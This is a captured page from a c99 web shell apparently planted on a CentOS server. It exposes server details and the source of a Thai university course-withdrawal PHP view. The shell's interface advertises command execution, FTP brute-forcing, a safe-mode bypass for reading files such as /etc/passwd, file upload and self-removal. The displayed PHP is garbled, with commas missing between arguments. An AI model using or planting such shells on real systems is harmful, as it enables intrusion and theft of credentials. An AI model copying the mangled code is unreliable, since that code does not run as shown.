!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/eregis/   drwxrwxrwx
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_std_showAddWithdraw.php (6.86 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$row_std 
= isset($qu_std) ? $qu_std->row() : NULL;
?>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td>
            <div align="center">
            <?php echo form_open($this->config->item("rg_folder")."regis/std_showAddWithdraw", array("name" => "myform""id" => "myform"));?>
            <table width="100%" align="center" border="0" cellpadding="0" cellspacing="1">
<?php
                
if(isset($flg)) {
                    echo 
$flg;
                }
                if (!isset(
$err_msg)) {
?>
                <tr>
                    <td><table class="szone">
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone">รหัสนักศึกษา</td>
                            <td><font size="2" ><?php echo getval('stdCode'$row_std);?></font>
                            <input type="hidden" name="stdId" value="<?php echo getval('stdId'$row_std);?>" />
                            <input type="hidden" name="stdCode" value="<?php echo getval('stdCode'$row_std);?>" /></td>
                            <td class="coltd_szone">ชื่อ-นามสกุล</td>
                            <td><font size="2" ><?php echo getval('prefixName'$row_std).getval('stdName'$row_std).' '.getval('stdSurname'$row_std);?></font></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone"><font size="2" ><b>หลักสูตร</b></font></td>
                            <td><font size="2" ><?php echo getval('curName'$row_std);?></font>
                            <input type="hidden" name="curId" value="<?php echo getval('curId'$row_std);?>" /></td>
                            <td class="coltd_szone"><font size="2" ><b>ชั้นปี</b></font></td>
                            <td><?php echo getval('syCode'$row_std);?>
                            <input type="hidden" name="syId" value="<?php echo getval('syId'$row_std);?>" /></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone"><font size="2" ><b>ปีการศึกษา</b></font></td>
                            <td><?php echo $acY;?>
                            <input type="hidden" name="acY" value="<?php echo $acY;?>" /></td>
                            <td class="coltd_szone"><font size="2" ><b>ภาคการศึกษา</b></font></td>
                            <td><?php echo $tmId;?>
                            <input type="hidden" name="tmId" value="<?php echo $tmId;?>" /></td>
                        </tr>
                    </table></td>
                </tr>
                <tr>
                    <td height="22"></td>
                </tr>
                <tr>
                    <td><table class="headCol">
                        <tr>
                            <th class="hourCol">รหัสรายวิชา</th>
                            <th>ชื่อรายวิชา</th>
                            <th class="amtCol">หน่วยกิต</th>
                            <th class="acYCol">กลุ่ม</th>
                            <th class="deleteCol">ลบ</th>
                        </tr>
<?php
                        
foreach ($rs_rd->result() as $row_rd) {
?>
                        <tr>
                            <td class="indent"><font size="1"><?php echo $row_rd->crsCode;?></font></td>
                            <td class="indent"><font size="1"><?php echo explodeSquare($row_rd->crsName);?></font></td>
                            <td align="center"><font size="1"><?php echo $row_rd->crsUnit;?></font></td>
                            <td align="center"><font size="1"><?php echo $row_rd->coSection;?></font></td>
                            <td align="center">
<?php
                            
if (($maxAcY == $acY) && ($maxTmId == $tmId)) {
?>
                            <span onClick="confirmDel2(
                            {stdId:<?php echo $row_rd->rdStdId;?>,
                             stdCode:<?php echo $row_std->stdCode;?>,
                             acY:<?php echo $row_rd->rdAcY;?>,
                             tmId:<?php echo $row_rd->rdTmId;?>,
                             seq:<?php echo $row_rd->rdSeq;?>,
                             coId:<?php echo $row_rd->rdCoId;?>,
                             rgStatus:'A',
                             rgSubmitType:'W'}, 'hidform_1','<?php echo site_url($this->config->item('rg_folder').'regis/rd_delete');?>')" /><img src="<?php echo base_url().$this->config->item("rg_delete");?>" align="absmiddle" border="0" width="16" height="19" class="hand"/></span>
<?php
                            
} else {
                                echo 
'-';
                            }
?>
                            </td>
                        </tr>
<?php
                        
}

                        if (isset(
$kssFlag)) {
?>
                        <tr>
                            <td colspan="5" align="center"><font size="2" color="<?php echo $font_color_err;?>"><?php echo $kssFlag;?></font></td>
                        </tr>
<?php
                        
} else {//echo $maxAcY.'/'.$acY.'/'.$maxTmId.'/'.$tmId;
                            //if (($maxAcY == $acY) && ($maxTmId == $tmId)) {
?>
                        <tr>
                            <td><input type="text" name="crsCode" size="7" class="input1" readonly></td>
                            <td><input type="text" name="crsName" size="30" class="input1" readonly>
                            <img src="<?php echo base_url().$this->config->item("rg_search");?>" class="hand" onClick="sendPost('hidform', {'stdId':<?php echo $row_std->stdId;?>,'curId':<?php echo $row_std->stdCurId;?>,'syId':<?php echo $row_std->stdSyId;?>,'acY':<?php echo $acY;?>,'tmId':<?php echo $tmId;?>}, '<?php echo site_url($this->config->item("rg_folder").'popup/coAndRd_popup');?>', {})" />
                            <!-- <img src="<?php echo base_url();?>images/<?php echo $this->config->item('rg_folder');?>picture/search.gif" width="15" height="19" border="0" align="absmiddle" id=IMG3 style="CURSOR: hand" onclick='OpenWindow("clAndEiTable.php?stdId=<?php echo $row_std->stdId;?>&amp;curId=<?php echo $row_std->stdCurId;?>&amp;acY=<?php echo $acY;?>&amp;syId=<?php echo $row_std->stdSyId;?>&amp;tmId=<?php echo $tmId;?>",600,375)'> -->
                            <font size="2" color="<?php echo $font_color_err;?>">*</font>
                            <input type="hidden" id="rdCoId" name="rdCoId" />
                            <input type="hidden" id="rdCreditAttempt" name="rdCreditAttempt" />
                            <input type="hidden" id="rdCredit1" name="rdCredit1" />
                            <input type="hidden" id="rdCredit2" name="rdCredit2" />
                            <input type="hidden" id="rdCdId1" name="rdCdId1" />
                            <input type="hidden" id="rdCdId2" name="rdCdId2" /></td>
                            <td align="center"><input type="text" id="crsUnit" name="crsUnit" size="12" class="input1" readonly></td>
                            <td align="center"><input type="text" id="rdSection" name="rdSection" size="1" class="input1" readonly>
                            <input type="text" name="timeTable" size="13" class="input1" readonly></td>
                            <td></td>
                        </tr>
<?php
                            
//}
                        
}
?>
                        <tr>
                            <th colspan="2">รวมหน่วยกิต</th>
                            <th align="center"><font size="2" color="<?php echo $font_color_table;?>"><?php echo number_format($sumCrAt);?></font></th>
                            <th colspan="2"></th>
                        </tr>
                    </table></td>
                </tr>
<?php
                    
//if (!isset($kssFlag) && ($maxAcY == $acY) && ($maxTmId == $tmId)) {
                    
if (!isset($kssFlag)) {
?>
                <tr>
                    <td align="center"><br><input type="submit" id="add" name="add" value="บันทึก" onClick="sendPost('myform', {'rgStatus':'A','rgSubmitType':'W'}, '<?php echo site_url($this->config->item("rg_folder").'regis/rd_insert');?>')" />
                    <input type="reset" name="clear" value="เคลียร์ข้อมูล" /></td>
                </tr>
<?php
                    
}
                } else {
?>
                <tr>
                    <td align="center"><font size="2" color="<?php echo $font_color_err;?>"><?php echo $err_msg;?></font></td>
                </tr>
<?php
                
}
?>
            </table></form></div>
        <br><font size="2" color="<?php echo $font_color_err;?>"><b>หมายเหตุ : </b>* หมายถึง ต้องกรอกข้อมูลให้สมบูรณ์</font></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0058 ]--